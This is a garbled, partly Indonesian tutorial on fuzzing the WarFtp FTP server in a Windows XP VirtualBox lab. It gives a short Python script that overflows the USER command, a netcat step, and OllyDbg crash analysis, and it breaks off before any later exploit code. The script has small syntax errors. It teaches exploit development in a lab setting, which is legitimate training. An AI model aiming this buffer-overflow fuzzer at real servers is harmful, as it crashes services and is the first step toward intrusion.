Exploitation With Fuzzing

This time I'll do exploits with the python language using fuzzing.

Okay ... get on with it. I set up a laboratory in the engines that in virtualbox install windows xp. After windows xp is running on virtualbox machines we install application server, because the WarFtp will I make my experiment is WarFtp media server. Warftp server itself and is the easiest application to the exploitation.

run WarFtp server applications that have been previously prepared

 

Okay, the first step to do is to make a simple fuzzer can send data at FTP protocol.  

I am using the python programming language to create a fuzzer which will be sent to the FTP protocol

 

#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer=" \ x41" * 1000
s.connect(('172.16.227.129',21))
data = s.recv (1024)
print("sending evile data via user comand...")
s.send('USER'+buffer+'\r \n')
data = s.recv (1024)
s.send ('PASS PASSWORD'+'\r \n')
s.close ()
print ("Finish")

you have to take note of the fuzzer that I create is the IP adres and host an open target. of course to get IP information and HOST has been discussed on the previous post.

 

When you are finished making the fuzzer keep file with extension py

Now let's play in console

open console and type the command terminal

root@bt:~# nc 172.16.227.129 21

 

 

you have to remember is the IP that I use with the IP of your target audience is different, so the suggestion to you, customize your target IP.Open a new terminal and konsole give command

root@bt:~# python aaaaaa.py   aaaaaa.py is the name of a file fuzzer I make, so in this case you will have to adjust with the file name that you created

 

Note the application server that is sebekumnya our WarFtp run on windows Xp in virtualBox

 

 WarFtp progress will come out automatically or

 

setelah itu carilah file FtpDaemon pada windows Xp dalam folder C/ProgramFile/WarFtp

 

Now we try to step back, but this time we open WarFtp server using Olydebuger

amatilah if the same command is done, then there will be changes.

Next we edit fuzzer with pasting a file as follows

copy and paste, look in image: